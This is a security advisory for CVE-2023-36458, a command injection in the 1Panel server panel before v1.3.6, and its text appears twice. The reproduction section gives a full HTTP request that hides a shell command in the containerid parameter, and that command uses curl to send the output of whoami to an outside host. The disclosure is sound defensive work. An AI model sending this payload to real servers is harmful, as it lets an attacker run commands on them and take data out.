CVE-2023-36458

1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal. The vulnerability has been fixed in v1.3.6.

1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal. The vulnerability has been fixed in v1.3.6.

Impact

The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal.

1. Vulnerability analysis.

backend\app\api\v1\terminal.go#ContainerWsSsh

2. vulnerability reproduction.

GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://192.168.109.152:40982
Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ==
Connection: keep-alive, Upgrade
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

3. The successful execution of system commands.

Affected versions: <= 1.3.5

Patches

The vulnerability has been fixed in v1.3.6.

Workarounds

It is recommended to upgrade the version to v1.3.6.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/1Panel-dev/1Panel Email us at [email protected]

1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal. The vulnerability has been fixed in v1.3.6.

1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal. The vulnerability has been fixed in v1.3.6.

Impact

The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal.

1. Vulnerability analysis.

backend\app\api\v1\terminal.go#ContainerWsSsh

2. vulnerability reproduction.

GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://192.168.109.152:40982
Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ==
Connection: keep-alive, Upgrade
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

3. The successful execution of system commands.

Affected versions: <= 1.3.5

Patches

The vulnerability has been fixed in v1.3.6.

Workarounds

It is recommended to upgrade the version to v1.3.6.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/1Panel-dev/1Panel Email us at [email protected]

1Panel vulnerable to command injection when entering the container terminal in github.com/1Panel-dev/1Panel